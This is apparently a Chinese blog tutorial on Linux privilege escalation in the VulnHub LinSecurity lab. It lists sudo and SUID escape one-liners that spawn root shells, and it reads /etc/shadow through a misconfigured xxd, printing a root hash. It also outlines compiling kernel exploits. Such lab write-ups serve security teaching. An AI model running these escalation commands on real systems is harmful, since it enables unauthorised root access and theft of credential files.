• linux提权


    目录

    一、linux提权靶场下载与安装

    二、基础提权 

     1.sudo提权

     2.suid提权

    3.taskset执行bash 

    三、内核提权 


    相关网站

    1. https://gtfobins.github.io/#+sudo
    2. https://blog.csdn.net/weixin_43873557/article/details/113784146

    一、linux提权靶场下载与安装

    1. #下载链接
    2. https://www.vulnhub.com/entry/linsecurity-1,244/
    3. 用户名密码:bob/secret
    4. #安装与配置
    5. 1.修改默认键盘布局[默认不是美式键盘]
    6. sudo awk 'BEGIN {system("/bin/sh")}'
    7. [修改前\"符号是shift+2]
    8. vim /etc/default/keyboard
    9. [讲XKBLAYOUT改的值为us]
    10. setupcon
    11. 2.配置网卡[Ubuntu 18通过netplan设置网络]
    12. vim /etc/netplan/50-cloud-init.yaml
    13. [将enp0s3改为ens33]
    14. netplan apply

    二、基础提权 

     1.sudo提权

    sudo权限是root把本来只能超级用户执行的命令赋予普通用户执行

    1. 1. sudo /bin/ash
    2. 2. sudo find . -exec /bin/sh \;-quit
    3. 3. sudo /bin/bash
    sudo -i

     2.suid提权

    suid简介:SUID这个是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限

    使用find命令快速查找所有suid文件

    find / -user root -perm -4000 -print 2>/dev/null
    

    xxd访问/etc/shadow

    -rwsr-x--- 1 root itservices 18552 Apr 10  2018 /usr/bin/xxd
    

     itservices组具有执行权限,通过/etc/group发现susan用户属于itservices用户组,利用4.隐藏文件发现的密码登录susan用户,进行提权

    cd home/susan
    
    1. susan@linsecurity:/home/bob$ xxd "/etc/shadow" |xxd -r
    2. root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
    3. daemon:*:17647:0:99999:7:::
    4. bin:*:17647:0:99999:7:::
    5. sys:*:17647:0:99999:7:::
    6. sync:*:17647:0:99999:7:::
    7. games:*:17647:0:99999:7:::

    3.taskset执行bash 

    taskset 是一个用于将进程绑定到特定的CPU核心上的命令

    taskset 1 /bin/bash -p

    三、内核提权 

    将linux内核提权速查脚本移到Linux系统中

    查询该文件

     

    进行解压缩 

     

    进入解压后的文件,并执行里面的后缀为.sh的文件

     成功后就可以查看推荐的漏洞

     将推荐的漏洞下载到本地,复制到Linux系统中,进行解压缩

    进入解压后的文件

     存在makefile,进行编译make

     查看编译后的文件,发现新增,进行执行该文件

     运行文件,不能成功,则换其他漏洞

     

  • 相关阅读:
    前端面试官会问的问题
    12 mysql char/varchar 的数据存储
    年产10万吨环氧树脂车间工艺设计
    sql 注入(2), 文件读写 木马植入 远程控制
    Mysql存储过程案例!
    C++概念:trl和clr概念的理解
    测试AI有效性的三种方法:流程挖掘是关键工具之一
    深度学习_9_图片分类数据集
    Android 13.0 SystemUI修改状态栏电池图标样式为横屏显示
    ffmpeg命令行处理视频,学习记录
  • 原文地址:https://blog.csdn.net/NSQ0207/article/details/132739508